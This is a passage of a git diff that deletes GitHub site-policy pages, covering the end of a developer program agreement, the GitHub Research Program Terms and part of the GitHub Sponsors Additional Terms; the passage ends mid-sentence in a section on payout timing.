of the Program, GitHub may offer Account Authorization Services, such as [OAuth 2.0](/apps/oauth-apps/building-oauth-apps/differences-between-github-apps-and-oauth-apps), for the primary purpose of creating applications that can integrate with the GitHub platform. Such Account Authorization Services are not intended to be used as the sole identity provider for your application or service. GitHub reserves the right to suspend access to any application using its Account Authorization Services that: (i) is consuming a disproportionate amount of resources compared to other applications (for example, if your application is inducing users to create multiple or “throw-away” GitHub accounts); (ii) would be in violation of [GitHub’s Acceptable Use Policies](/site-policy/acceptable-use-policies/github-acceptable-use-policies) if the application was hosted on our platform; (iii) facilitates or incentivizes any spammy or inauthentic activity on GitHub (for example, promising rewards for account creation); (iv) presents itself or its login page in a manner that suggests sponsorship, endorsement, or affiliation with GitHub; or (v) misrepresents or obscures what it does (for example, if an application takes any actions, like starring repositories, on behalf of a user without this action being explicitly disclosed). - -1. **Your Products, Services, and Integrations** - - Your products, services, and integrations (collectively, your “Products”) are your responsibility. That means that you’re solely responsible for developing, operating, and maintaining all aspects of your Products; ensuring that all materials used with or in your Products are legal in all the jurisdictions where your Products are used, and don’t promote illegal activities; obtaining any rights or licenses necessary to use and/or distribute any third-party software that you use, include, integrate, or distribute with your Products; and providing your end user customers with the same high-quality technical support for your Products when they operate in conjunction with our API or any other of our products and services as you do when they operate on their own. - -1. **Marketing and Publicity** - - Marketing and publicizing your integrations with GitHub is valuable to both of us. We want to be sure that happens in the right way, so we’ve included some language here to help clarify some basic “dos” and “don’ts”. - - You agree that you won’t make any representations, warranties, guarantees or endorsements to anyone on behalf of GitHub (including, among other things, any GitHub products or services). Unless we specifically say it’s okay in the Program Terms, you promise not to state or imply that we have developed, endorsed, reviewed or otherwise approved of any of your Products. - - If you decide to promote or publicize any of our products or services in connection with your Products, you’ll need to make sure that you abide by the terms of this Agreement, the Program Terms, the TOS, our [trademark policy](/site-policy/content-removal-policies/github-trademark-policy), and any other applicable GitHub policies. Subject to the terms and conditions of this Agreement and the TOS, and during the term of this Agreement, we grant you a limited, revocable, worldwide, non-exclusive, non-transferable license to use our trademarks, service marks, and logos (collectively, the “GitHub Marks”) in accordance with our [trademark policy](/site-policy/content-removal-policies/github-trademark-policy) and as specified in the Program Terms, solely for the purpose of publicizing your membership in the Program. - - We want to tell the world about you, and your participation in the Program. To help us do that, you grant us a limited, revocable, worldwide, non-exclusive, non-transferable license to use your trademarks, service marks, and logos (collectively, the “Partner Marks”) in our marketing materials, solely for the purpose of promoting the Program and publicizing your participation in it. - - Except as set forth in this Agreement and the TOS, nothing in this Agreement will be deemed to grant to one party any right, title or interest in or to the other party’s Marks. You agree not to, whether during or after the term of this Agreement: (i) challenge or assist others in challenging the GitHub Marks, or our registration or enforcement of the GitHub Marks; (ii) attempt to adopt, use, apply for, or register any trademark, service mark, logo, URL, Internet domain name, or symbol that is confusingly similar to the GitHub Marks; or (iii) make any negative, false, or disparaging statements (whether written or oral) to any third-party about us, our products, or our services. - -1. **Confidentiality; Pre-Release Materials** - - As a registered developer in the Program, you may get access to special information not available to the rest of the world. Due to the sensitive nature of this information, it’s important for us to make sure that you keep that information secret. - - You agree that any non-public information we give you, or that you may have access to as part of the Program, will be considered GitHub’s confidential information (collectively, “Confidential Information”), regardless of whether it is marked or identified as such. You agree to only use such Confidential Information for your authorized purposes as a participant in the Program (the “Purpose”), and not for any other purpose. You should take reasonable precautions to prevent any unauthorized use, disclosure, publication, or dissemination of our Confidential Information. You promise not to disclose, publish, or disseminate any Confidential Information to any third-party other than your employees and contractors, and then only to the extent that: (i) they need to know the Confidential Information for the Purpose; (ii) you make them aware of the confidential nature of the Confidential Information; (iii) you remain responsible for the acts and omissions of such employees and contractors; and (iv) we don’t otherwise prohibit or restrict such disclosure. - - You understand that unauthorized disclosure or use of our Confidential Information could cause us irreparable harm, and significant injury that may be difficult for us to quantify. Accordingly, you agree that we’ll have the right to seek immediate injunctive relief to make sure you comply with this Agreement, in addition to any other rights and remedies we may have. If you are required by law, regulation or a valid binding order of a court of competent jurisdiction to disclose our Confidential Information, you may do so, but only if you notify us before you do, and do your best to limit such disclosure and to seek confidential, protective treatment of such information. - - The obligations in this Section 7 won’t apply to information that you can prove: (i) was generally available to the public before we disclosed it to you; (ii) became generally available to the public after we disclosed it to you, through no action or inaction on your part, or on the part of your employees or contractors; (iii) you knew about before we disclosed it to you; (iv) was disclosed to you by a third-party, who didn’t have any confidentiality obligations with respect to it; (v) you independently developed without breach of any confidentiality obligation to us or any third-party; or (vi) we gave you permission to disclose, in a writing signed by one of our authorized representatives. - - If We give you any pre-release software or related documentation or materials, which may include videos or other forms of content (“Pre-release Materials”), then subject to your compliance with the terms and conditions of this Agreement and the TOS, we hereby grant you a nonexclusive, nontransferable, revocable right and license to use the Pre-release Materials solely to support your testing and/or development of products or services that are designed to operate in combination with the systems or programs for which the Pre-release Materials are designed. If the Pre-release Materials are accompanied by a separate license agreement, you agree that the separate license agreement (in addition to any more restrictive provisions contained in this Agreement or the TOS) will apply. You agree not to decompile, reverse engineer, disassemble, or otherwise reduce the Pre-release Materials to a human-perceivable form, and you promise not to modify, network, rent, lease, transmit, sell, or loan the Pre-release Materials, in whole or in part. You understand that we’re under no obligation to provide any Pre-release Materials to you, to provide you with updates, enhancements, or corrections to the Pre-release Materials, or to notify you of changes that we make to our products and services, now or in the future. - -1. **Fees and Payment** - - There may be fees associated with participating in the Program. We’ll tell you what those fees are in the Program Terms, as we update them from time to time (the “Program Fees”). If you gave us your payment information before, you agree that we can charge the same credit card or PayPal account as part of this Agreement. Otherwise, you’ll need to give us a valid payment account, and other supporting information. Except as otherwise expressly provided in Section 9, any payments you make to us for the Program are non-refundable. You give us permission to automatically charge your payment account on the anniversary of your first payment date to cover all of the coming year’s Program Fees, unless you terminate this Agreement first according to Section 1. All fees are due in U.S. Dollars, and are exclusive of all taxes, levies, or duties imposed by taxing authorities (you’re responsible for all of those, except for taxes based on our income). - -1. **Term and Termination** - - This Agreement begins on the date you click “Agree”, and continues for a period of one (1) year. This Agreement will automatically renew for successive one-year terms unless either party gives written notice at least thirty (30) days before the current term expires that it wants to terminate, or one of us terminates it earlier in accordance with this Section 9. - - Either you or GitHub may terminate this Agreement for any reason, without cause, upon thirty (30) days prior written notice to the other. If we terminate this Agreement or discontinue your access to the Program for any reason other than your breach of this Agreement, the Program Terms, or the TOS, we will, as your sole remedy and our sole obligation for such termination, refund you the pro rata portion of the Program Fees you paid us for the current term of this Agreement. This Agreement will terminate immediately, without the requirement of notice, if you breach any term of this Agreement, the Program Terms, or the TOS. - - The rights and obligations in Sections 1, 2, 3 (second and third paragraphs), 4, 5, 6 (second and last paragraphs), 7, 8, and 10 through 22 of this Agreement will survive the termination or expiration of this Agreement. Upon termination or expiration of this Agreement all of the rights and licenses we granted you in this Agreement will immediately cease to exist, you will return (or, at our request, destroy) all of our Confidential Information and any copies (including electronic copies) which are in your possession or control, and you will certify in writing that you’ve complied with these requirements. - -1. **Warranties and Disclaimers** - - You warrant to us that you: (i) have the authority to execute this Agreement and to perform its obligations; (ii) will conduct business in a manner that reflects favorably at all times on GitHub’s products and services and our good name, goodwill and reputation; (iii) will make no false or misleading statements or representations regarding GitHub or our products and services; (iv) will not take on any obligation or responsibility, or make any representation, warranty, guarantee or endorsement to anyone on our behalf (including, without limitation, any of our products or services); and (v) will not state or imply that We have developed, endorsed, reviewed or otherwise approved of any of your Products. - - THE PROGRAM, THE API AND ANY CONFIDENTIAL INFORMATION WE GIVE YOU (INCLUDING, WITHOUT LIMITATION, THE PRE-RELEASE MATERIALS) ARE PROVIDED “AS IS”, AND WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED. WE SPECIFICALLY DISCLAIM ANY AND ALL IMPLIED WARRANTIES OR CONDITIONS OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. WE DO NOT WARRANT THAT ANY SERVICES OR PRODUCTS WE MAKE AVAILABLE TO YOU WILL MEET YOUR OR YOUR END USERS’ REQUIREMENTS. - -1. **Indemnity** - - We’re giving you lots of useful pre-release stuff as part of the Program, and there are ways that you could use that stuff improperly that could cause us harm. With that in mind, and since we can’t control the ways that you participate in the Program, you agree that you will indemnify, defend and hold us harmless from and against any and all claims which may arise under or out of your participation in the Program; your use of the API, our Confidential Information, or any other GitHub products and services; your negligence or intentional misconduct; your Products, or any integrations you develop, design, promote or distribute using our API or any Confidential Information; any misrepresentations you make with respect to us, or our products or services; or your violation of any part of this Agreement. - -1. **Limitation of Liability** - - IN NO EVENT WILL WE BE LIABLE TO YOU OR TO ANY THIRD PARTY FOR ANY INDIRECT, SPECIAL, INCIDENTAL, CONSEQUENTIAL, EXEMPLARY OR PUNITIVE DAMAGES, INCLUDING BUT NOT LIMITED TO DAMAGES FOR LOST DATA, LOST PROFITS OR COSTS OF PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES, HOWEVER CAUSED AND UNDER ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, TORT (INCLUDING WITHOUT LIMITATION PRODUCTS LIABILITY, STRICT LIABILITY AND NEGLIGENCE), OR ANY OTHER THEORY, AND WHETHER OR NOT WE KNEW OR SHOULD HAVE KNOWN ABOUT THE POSSIBILITY OF SUCH DAMAGE. IN NO EVENT WILL OUR AGGREGATE LIABILITY TO YOU ARISING OUT OF OR RELATED TO THIS AGREEMENT FOR ANY CAUSE WHATSOEVER, AND REGARDLESS OF THE FORM OF ACTION, WHETHER IN CONTRACT OR IN TORT, EXCEED THE GREATER OF (I) AMOUNTS YOU ACTUALLY PAID US UNDER THIS AGREEMENT; OR (II) FIVE HUNDRED DOLLARS ($500). THE FOREGOING LIMITATIONS WILL APPLY NOTWITHSTANDING THE FAILURE OF ESSENTIAL PURPOSE OF ANY LIMITED REMEDY STATED IN THIS AGREEMENT. - -1. **Export Control** - - You aren’t allowed to export or re-export any of our Confidential Information, except as authorized by United States law and the laws of the jurisdiction in which the Confidential Information was obtained. In particular, you aren’t allowed to export or re-export our Confidential Information into any U.S. embargoed countries, to anyone on the U.S. Treasury Department's list of Specially Designated Nationals, or to anyone on the U.S. Department of Commerce Denied Person's List or Entity List. By joining the Program or receiving any of our Confidential Information, you represent and warrant that you are not located in any such country or on any such list. - -1. **Proprietary Rights** - - You agree that GitHub and its licensors own all right, title and interest in and to the API, the Pre-release Materials, and all other GitHub products and services; all information and data relating to their configurations and combinations; and all modifications to and derivative works of any of the foregoing. You agree not to remove, alter, cover or obfuscate any copyright or other proprietary rights notices we place on or embed in the API, the Pre-release Materials, or any other GitHub products and services. - -1. **Government Users** - - If you are a Government entity, this Section applies to you. Certain of our Confidential Information may be considered “Commercial Items”, as that term is defined at 48 C.F.R. §2.101, consisting of “Commercial Computer Software” and “Commercial Computer Software Documentation”, as such terms are used in 48 C.F.R. §12.212 or 48 C.F.R. §227.7202, as applicable. Consistent with 48 C.F.R. §12.212 or 48 C.F.R. §227.7202-1 through 227.7202-4, as applicable, the Commercial Computer Software and Commercial Computer Software Documentation are being licensed to U.S. Government end users (a) only as Commercial Items and (b) with only those rights as are granted to all other end users pursuant to the terms and conditions herein. GitHub, Inc. 88 Colin P. Kelly Street, San Francisco, CA 94107. - -1. **Independent Development** - - Nothing in this Agreement will impair our right to develop, acquire, license, market, promote or distribute products, software or technologies that may compete with your Products. - -1. **Feedback** - - We’re always trying to improve, and your feedback will help us do that. If you choose to give us feedback, suggestions or recommendations for the Program or for our products or services (collectively, “Feedback”), you acknowledge and agree that we’re free to use that Feedback in any way we want, without restriction (subject to any applicable patents or copyrights, of course). - -1. **Independent Contractors** - - The parties to this Agreement are independent contractors. Neither of us will be deemed to be an employee, agent, partner, franchisor, franchisee or legal representative of the other for any purpose and neither of us will have any right, power or authority to create any obligation or responsibility on behalf of the other. - -1. **Assignment** - - You aren’t allowed to assign or transfer this Agreement, or any of your rights under it, in whole or in part, by operation of law or otherwise, without our prior written consent. - -1. **Governing Law and Venue** - - This Agreement will be interpreted and construed in accordance with the laws of the State of California, without regard to conflict of law principles. All disputes arising out of this Agreement will be subject to the exclusive jurisdiction of the state and federal courts located in San Francisco County, California, and each of us hereby consents to personal jurisdiction there. - -1. **Amendments; Waivers; No Third-Party Beneficiaries** - - This Agreement may not be changed, except by a writing signed by both parties. Any waiver of the provisions of this Agreement or of a party's rights or remedies under this Agreement must be in writing to be effective. If any term, condition, or provision in this Agreement is found to be invalid or unenforceable, the remaining terms will continue to be valid and enforceable to the fullest extent permitted by law. We each expressly agree that there are no third-party beneficiaries to this Agreement. - -1. **Entire Agreement** - - This Agreement, the TOS, and the Program Terms contain the entire agreement of the parties with respect to its subject matter and supersede all prior communications, representations, understandings and agreements, whether written or oral. The terms or conditions of any of your purchase orders, acknowledgements, or other documents that you send us in connection with this Agreement will be null and void, and of no effect. diff --git a/content/site-policy/github-terms/github-research-program-terms.md b/content/site-policy/github-terms/github-research-program-terms.md deleted file mode 100644 index aaed1163ba27..000000000000 --- a/content/site-policy/github-terms/github-research-program-terms.md +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: GitHub Research Program Terms -redirect_from: - - /articles/github-research-program-terms - - /github/site-policy/github-research-program-terms -versions: - fpt: '*' -topics: - - Policy - - Legal ---- - -Welcome to the GitHub Research Program (the "Program")! To participate, we’ll need you to agree to a special set of terms, the GitHub Research Program Agreement (“Agreement”). - -This Agreement is a legal agreement between you (“you”, "your") and GitHub, Inc. (“GitHub”, “we”, or “us”). Be sure to read this Agreement carefully – you can only be a Program participant if you accept all the terms of this Agreement. By participating in the Program in any way – for example, by accessing information about GitHub products or services that aren’t yet available to the general public – you’re agreeing to be bound by all the terms of this Agreement. - -## A. Your Feedback - -We’re always trying to improve our products and services, and your feedback as a Program participant will help us do that. If you choose to give us any ideas, know-how, algorithms, code contributions, suggestions, enhancement requests, recommendations or any other feedback for our products or services through the Program (collectively, “Feedback”), then we need the legal rights to use and analyze that information for those purposes. In legalese, that means you grant GitHub a royalty-free, fully paid-up, worldwide, transferable, sub-licensable, irrevocable and perpetual license to implement, use, modify, commercially exploit and/or incorporate the Feedback into our products, services, and documentation. - -## B. Confidentiality - -GitHub may provide you with access to special information that isn’t available to the rest of the world for the purpose of providing feedback to us through the Program (the "Purpose"). Due to the sensitive nature of this information, it’s important for us to make sure that you keep that information secret. - -You agree that any non-public information we share with you or that you may have access to as a Program participant will be considered GitHub’s confidential information (collectively, “Confidential Information”), regardless of whether it is marked or identified as such. You agree to only use such Confidential Information for the Purpose stated above, and not for any other purpose. You should use the same degree of care as you would with your confidential information but no less than reasonable precautions to prevent any unauthorized use, disclosure, publication, or dissemination of our Confidential Information. You promise not to disclose, publish, or disseminate any Confidential Information to any third party. - -You understand that unauthorized disclosure or use of our Confidential Information could cause us irreparable harm, and significant injury that may be difficult for us to quantify. Accordingly, you agree that we’ll have the right to seek immediate injunctive relief to make sure you comply with this Agreement, in addition to any other rights and remedies we may have. If you are required by law, regulation or a valid binding order of a court of competent jurisdiction to disclose our Confidential Information, you may do so, but only if you notify us before you do, and do your best to limit such disclosure and to seek confidential, protective treatment of such information. - -The obligations in this Section 2 won’t apply to information that you can prove: (i) was generally available to the public before we disclosed it to you; (ii) became generally available to the public after we disclosed it to you, through no action or inaction on your part, or on the part of your employees or contractors; (iii) you knew about before we disclosed it to you; (iv) was disclosed to you by a third party, who didn’t have any confidentiality obligations with respect to it; (v) you independently developed without breach of any confidentiality obligation to us or any third party; or (vi) we gave you permission to disclose, in a writing signed by one of our authorized representatives. - -## C. Reservation of Rights - -All Confidential Information remains the sole and exclusive property of GitHub. Neither party acquires any intellectual property rights under this Agreement, unless expressly specified herein. - -## D. Privacy - -By participating in this Program, you consent to our use of your personal information for research purposes, and not for any other purposes. As part of the Program, we may use your personal information to contact you, or retain your information, to contact you at a later date. Personal information does not include aggregated, non-personally identifying information. We may use aggregated or other non-personally identifying information collected through the program to operate, analyze, and improve our products and services. - -You can withdraw your consent at any time, and request access to or the deletion of the personal information that we hold about you. For more information about how you can access, update, alter, or delete the personal information GitHub collects through the Program, please see the [GitHub Privacy Statement](/site-policy/privacy-policies/github-privacy-statement) or contact us through our {% data variables.contact.contact_privacy %}. - -## E. GitHub Services and Software Terms - -If access to GitHub's services or software are required to participate in certain Program studies or activities, then the applicable services or software agreement will apply to your use of those products (the "Generally Applicable Terms"). In the event of a direct conflict between this Agreement and the Generally Applicable Terms, your Generally Applicable Terms will control, except with respect to any use of Confidential Information (as defined below), in which case this Agreement will control. - -## F. Disclaimer of Warranties - -All Confidential Information and other materials you receive through the Program are provided “as is” and without warranty of any kind. Without limiting this, we expressly disclaim all warranties, whether express, implied or statutory, regarding the Program including without limitation any warranty of merchantability, fitness for a particular purpose, title, security, accuracy and non-infringement. - -## G. Limitation of Liability - -Except as prohibited by law, you understand and agree that we will not be liable to you or any third party for any loss of profits, use, goodwill, or data, or for any incidental, indirect, special, consequential or exemplary damages. - -Our liability is limited whether or not we have been informed of the possibility of such damages, and even if a remedy set forth in this Agreement is found to have failed of its essential purpose. We will have no liability for any failure or delay due to matters beyond our reasonable control. - -## H. Miscellaneous - -### 1. Governing Law - -Except to the extent applicable law provides otherwise, this Agreement between you and GitHub and any access to or use of the Website or the Service are governed by the federal laws of the United States of America and the laws of the State of California, without regard to conflict of law provisions. You and GitHub agree to submit to the exclusive jurisdiction and venue of the courts located in the City and County of San Francisco, California. - -### 2. Non-Assignability - -GitHub may assign or delegate this Agreement, in whole or in part, to any person or entity at any time with or without your consent, including the license grant in Section A. You may not assign or delegate any rights or obligations under this Agreement without our prior written consent, and any unauthorized assignment and delegation by you is void. - -### 3. Severability, No Waiver, and Survival - -If any part of this Agreement is held invalid or unenforceable, that portion of the Agreement will be construed to reflect the parties’ original intent. The remaining portions will remain in full force and effect. Any failure on the part of GitHub to enforce any provision of this Agreement will not be considered a waiver of our right to enforce such provision. Our rights under this Agreement will survive any termination of this Agreement. - -### 4. Amendments; Complete Agreement - -This Agreement may only be modified by a written amendment signed by an authorized representative of GitHub. This Agreement, together with the Generally Applicable Terms and the GitHub Privacy Statement, represent the complete and exclusive statement of the agreement between you and us. This Agreement supersedes any proposal or prior agreement oral or written, and any other communications between you and GitHub relating to the subject matter of these terms including any confidentiality or nondisclosure agreements. diff --git a/content/site-policy/github-terms/github-sponsors-additional-terms.md b/content/site-policy/github-terms/github-sponsors-additional-terms.md deleted file mode 100644 index 3bfcd74e64c1..000000000000 --- a/content/site-policy/github-terms/github-sponsors-additional-terms.md +++ /dev/null @@ -1,313 +0,0 @@ ---- -title: GitHub Sponsors Additional Terms -redirect_from: - - /articles/github-sponsors-additional-terms - - /github/site-policy/github-sponsors-additional-terms -versions: - fpt: '*' -topics: - - Policy - - Legal ---- - -Your participation in the GitHub Sponsors Program (the "Program") is subject to the [GitHub Terms of Service](/site-policy/github-terms/github-terms-of-service) (the "Agreement") or other agreement you have with GitHub (for example the GitHub Customer General Terms, the GitHub Corporate Terms of Service or other agreement), as well as the following additional terms ("Additional Terms"). Any use of the GitHub Sponsors Program that violates the Agreement will also be a violation of these Additional Terms. Any capitalized terms used but not defined below have the meanings in the Agreement. These Additional Terms for the GitHub Sponsors Program describe the relationship between GitHub and you, the "Sponsored Developer", for the Program. The Additional Terms are effective as of the date you accept them ("Effective Date"). - -The purpose of this Agreement is to: 1) set forth the terms under which Sponsors will participate in the GitHub Sponsors Program (the "Program"); and 2) set forth the terms under which Sponsored Developers may participate in the Program. The Program allows sponsors to identify certain open source projects ("Projects") housed on GitHub and to make committed investments in those Projects to further the Projects' development. - -## 1. Definitions. - -"**Confidential Information**" means all non-public information disclosed under this Agreement by either party to the other in any format, designated as confidential or that the receiving party knows or reasonably should know, under the circumstances surrounding the disclosure and the nature of the information, is confidential to the disclosing party. Confidential Information does not include any information that (i) was or becomes publicly known through no fault of the receiving party; (ii) was or becomes rightfully known to the receiving party without confidential or proprietary restriction from a source other than the disclosing party who has a right to disclose it; (iii) is approved by the disclosing Party for disclosure without restriction in a written document which is signed by a duly authorized officer or such disclosing Party; or (iv) the receiving party independently develops without access to or use of the disclosing party's Confidential Information. - -"**GitHub Policies**" means all then-current policies and procedures of GitHub that Sponsored Developer must follow as noted in the Program, including the [GitHub Community Guidelines](/site-policy/github-terms/github-community-guidelines). - -"**Sponsor**" means the User who purchased a Subscription from or paid a Sponsorship to you through your Sponsored Developer Account. - -“**Sponsored Developer**” means the individual or entity that develops content under the Program and receives Sponsored Developer Payments while participating in the Program. - -"**Sponsored Developer Account**" means the account that you establish through the Program to receive payment from Sponsors. - -"**Sponsored Developer Content**" means all content you submit to GitHub in connection with the Program, including User-Generated Content and Your Content; your brand names, trademarks, service marks, trade names, logos, or indicia of origin ("**Sponsored Developer Marks**"); and data associated with your Sponsored Developer Account. - -"**Sponsorship**" means a payment paid to you through the Program and the Service. - -"**Subscription**" means a recurring or one-time Sponsorship in exchange for goods, services, or other offers you provide to Sponsors. - -"**Sponsored Developer Payment**" means the net of one hundred percent (100%) of GitHub's gross monthly payments received from Sponsorships and Subscriptions to Sponsored Developer Accounts, plus any applicable Matching Funds, and other proceeds from monetization options that the Sponsored Developer elects to use, as applicable, less any discounts, taxes, fees, amounts that GitHub did not collect or which were refunded or charged back, amounts owed to any third-party in connection with the Program with respect to a Sponsored Developer Account, and other Exclusions as outlined in Section 4. - -"**USD**" means United States Dollar. - -# Terms For Sponsored Developer - -## 1. Acceptable Use. - -### 1.1. GitHub Sponsors Program - -In order to participate in the Program, you must comply with your country's minimum age laws (for example, you must be at least 13 years of age if you live in the United States), have a valid GitHub account, and have agreed to the [Acceptable Use section](/site-policy/github-terms/github-terms-of-service#c-acceptable-use) in the Agreement and applicable GitHub Policies, and these GitHub Sponsors Additional Terms. - -If you are over the age of 13 but are under 18, you can give and receive Sponsor funds, provided that Stripe, our payment processor, can collect verification information from your legal guardian. - -You will not under any circumstances allow payments or raise funds involving: - -* Fraud, ransom, violations of intellectual property, or other illegal purposes; - -* Misrepresentation or deception related to the reasons you're raising funds or requesting sponsorship; - -* The purchase or sale of ICOs, utility tokens, or other types of cryptocurrency; - -* The purchase or sale of securities, equity, or other types of investment offers; - -* The sale of personal information, or the processing of personal information in violation of any laws; - -* Lotteries, raffles, gambling, pyramid schemes, self-dealing, "get rich quick schemes", deceptive marketing schemes, "donation for donation" schemes, or any attempts to game GitHub's or third parties' systems or services; and, - -* Activities with, in, or involving countries, regions, governments, persons, or entities that are not permitted under U.S. and other economic sanctions under applicable law. - -### 1.2. GitHub Sponsors Matching Fund - -The GitHub Sponsors Matching Fund aims to encourage the community that participates in the Open Source Software (OSS) ecosystem to contribute sustainable funding to qualifying individuals with Sponsored Developer Accounts. All individuals who applied to the Program before January 1, 2020, will be reviewed for eligibility for the Matching Fund, but not all eligible individual Sponsored Developer Accounts will receive matching. Organizations cannot participate in the GitHub Sponsors Matching Fund, and Sponsorship from an organization to a qualifying Sponsored Developer Account will not be matched. See below for additional rules. - -#### 1.2.1. Matching Fund Terms. - -Eligibility for the GitHub Sponsors Matching Fund is evaluated on a case-by-case basis and is subject to the following limitations: - -* You must have a GitHub account, be accepted into the Program as an individual, and be actively contributing to OSS. Please note, GitHub does not allow operating more than one free personal account. As such, matching is available on an individual basis and will not be approved across multiple accounts. - -* Your use of GitHub and your Sponsored Developer Account must be, based on our determination, in our sole discretion, in accordance with the GitHub Sponsors mission to expand the opportunities to contribute to open source that upholds the [GitHub Community Guidelines](/site-policy/github-terms/github-community-guidelines). - -* You cannot receive matching for any sponsorship that originates from a user or organization account with a published GitHub Sponsors profile. - -* GitHub reserves the right to withhold or rescind Matching Fund money and block any user from participation in the GitHub Sponsors Matching Fund for any reason, including but not limited to posting content or projects that GitHub determines are offensive or otherwise objectionable. - -#### 1.2.2. Matching Period. - -The matching period begins after GitHub accepts an individual Sponsored Developer Account into GitHub Sponsors. For each individual Sponsored Developer Account eligible for the GitHub Sponsors Matching Fund, GitHub can match community sponsorship up to $5,000 USD total during the Sponsored Developer Account's first 12 months in the Program. The matching period cannot be extended for any reason. During the matching period, GitHub will not charge any fees, so 100% of sponsorships will go to the sponsored developer. In the future, we may charge a nominal processing fee. - -* If a Sponsorship or Sponsoring Subscription stops for any reason, the associated matching will stop as well. Funds that are charged back to the Sponsor before the Sponsored Developer Payment date are not eligible for matching. - -* If you leave GitHub Sponsors and rejoin later, the gap between your participation periods may count toward your matching period or your matching period may expire. - -* If GitHub discovers a potential policy violation, prior to payment of any matching funds granted during the matching period, GitHub may disable payouts until an investigation has been completed, and matched funds contributed to the sponsored developer may be revoked if they are found to be in violation of this policy. - -* {% data reusables.sponsors.github-contact-applicants %} - -## 2. Sponsored Developer Obligations. - -### 2.1. General. - -You will: (A) create a Sponsored Developer Account; (B) make Sponsored Developer Content available via the Program and Service; and, (C) comply with all GitHub Policies. You will be solely responsible for support, development, and maintenance of your Sponsored Developer Account and Sponsored Developer Content, and any complaints about them. - -### 2.2. Registration. - -If you choose to apply for the Program, entry into the Program is contingent upon your completion of the registration process and acceptance into the Program by GitHub. In addition, you may be required to register with the payment service provider(s) selected by GitHub (such as Stripe) in order to access and use certain features of the Program. You must register with your true identity, and you agree to provide and maintain true, accurate, current and complete information about yourself as requested by the Program's registration form. Registration data and certain other information about you are governed by our [Privacy Statement](/site-policy/privacy-policies/github-privacy-statement), as well as any privacy statement provided by our payment processor. GitHub reserves the right to refuse acceptance into the Program. - -### 2.3. Content Monetization. - -Through the Program and Service, GitHub may provide you various options to monetize your Sponsored Developer Content. Some options may require you to update certain settings in your Sponsored Developer Account. In addition, the ways in which the Program supports each monetization option may vary. If you utilize one (or more) of these options by changing the applicable settings, then you agree to the terms that apply to that option. Some monetization options may require you to provide additional information to GitHub or its service providers, or to accept additional GitHub terms or third-party terms. - -#### 2.3.1. Subscriptions. - -The Program provides you with the capability to offer Subscriptions. If you choose to offer Subscriptions, then GitHub will pay you the Subscription Sponsorship as provided in Section 4. You are responsible for determining the nature, content, and capabilities of your Subscription offer, subject to these Additional Terms and applicable GitHub Policies. - -#### 2.3.2. Other Sponsorships. - -The Program or Service may provide you with the ability to accept a donation or other type of direct Sponsorship from another User without a Subscription offer. However, because GitHub does not fulfill those types of Sponsorships, you must establish a merchant account with a third-party payment service provider (such as Stripe) and be subject to that service provider's merchant account terms, conditions, and privacy policies. Any amounts contributed to you, donation or otherwise, will be paid directly to your merchant account and not included in any Sponsored Developer Payments. You agree that you will not have any claim or remedy against GitHub relating to donations and any disputes relating to a donation are solely between you and the third-party payment service provider. You are responsible for compliance with any third-party payment service provider's agreements, policies, and laws or regulations that may apply. GitHub may elect to provide you with information or a report on the amount of donations made to you for your convenience. - -#### 2.3.3. Advertising. - -While we understand that you may want to promote your Sponsors by posting their names or logos in your account, the primary focus of your Sponsored Developer Content should not be advertising or promotional marketing. In addition, you may not enter into any advertising agreement to promote any product or brand if doing so would be prohibited by the [Agreement](/site-policy/github-terms/github-terms-of-service) or GitHub's Community Guidelines. If you decide to host any advertising or promotional materials in your Sponsored Developer Content, you are solely responsible for complying with all applicable laws and regulations, including the U.S. Federal Trade Commission's Guidelines on Endorsements and Testimonials. - -## 3. Financial Terms. - -### 3.1. Payment. - -GitHub will pay you the Sponsored Developer Payment in accordance with this Section 3, so long as you meet the Sponsored Developer Obligations in Section 2 and are not in violation of these Additional Terms. If you fail to meet these obligations for any given month, we may at our sole discretion withhold the Sponsored Developer Payment for that month. If you fail to meet or maintain the Sponsored Developer Obligations for two (2) or more months during the Term (consecutively or non-consecutively), then GitHub may terminate these Additional Terms as provided in Section 5. - -### 3.2. Sponsored Developer Payment Exclusions. - -The following amounts are not included in Sponsored Developer Payments, or may be withheld by GitHub, as applicable. - -#### 3.2.1. Sponsored Developer Expenses. - -You will bear all expenses you incur in connection with your performance under these Additional Terms. We will not reimburse or advance you for any expenses. - -#### 3.2.2. Taxes. - -GitHub intends to comply with all applicable tax information reporting and tax withholding laws that GitHub reasonably determines in its judgment apply to these payments. If taxes are required to be withheld on any amounts to be paid by GitHub to you or from amounts which are subject to tax information reporting under applicable laws, GitHub will deduct such taxes from the amount owed and pay them to the appropriate taxing authority and, as required, will secure and deliver to you an official receipt for any such taxes withheld as required under applicable laws. GitHub will use reasonable efforts to minimize such taxes to the extent permissible under applicable law, and each party will reasonably cooperate with the other to obtain the lowest tax rates or elimination of such taxes pursuant to the applicable income tax laws or treaties. This includes you providing to GitHub adequate information required under applicable laws, such as IRS Forms W-8, W-9, or other information to establish exemptions from withholding. You will also be responsible for complying with any third-party payment processor’s terms and conditions regarding tax withholding and reporting, if applicable. Furthermore, GitHub reserves the right to suspend payments to your account until you provide GitHub with adequate documentation or information required under applicable laws for GitHub to determine any applicable tax withholding or reporting obligations that apply to the payments under these Additional Terms or Agreement. - -#### 3.2.3. Withholding of Sponsored Developer Payment for Breach. - -In the event of a Sponsored Developer's breach, or suspected breach, of these Additional Terms or the Agreement, GitHub reserves the right to withhold payment to the Sponsored Developer under these Additional Terms or otherwise, pending GitHub's reasonable investigation of the same. If GitHub determines, in its sole discretion, that a Sponsored Developer is in breach of these Additional Terms or the Agreement, GitHub may permanently withhold any amounts due to the Sponsored Developer. - -### 3.3. Payment Timing. - -During the term, GitHub will remit to you all Sponsored Developer Payments received in a given month within 30 days after the close of that month, subject to the variables below. Payouts are sent through Stripe Connect, ACH transfer, or wire transfer to the bank account you provided when you applied for GitHub Sponsors. We are not responsible for delay or misapplication of any Sponsored Developer Payment because of incorrect or incomplete information supplied by you or a bank, or for failure of a bank to credit your account. - -* For first payments, GitHub will remit to you all Sponsored Developer Payments 60 days after the first sponsorship is initiated, subject to the variables below. This probation period is applied to all Sponsored Developer Accounts and helps insure the integrity of the program. Payments thereafter will be remitted within 30 days of the close of that month, in accordance with this section. - -* If you are paid through Stripe Connect, you will 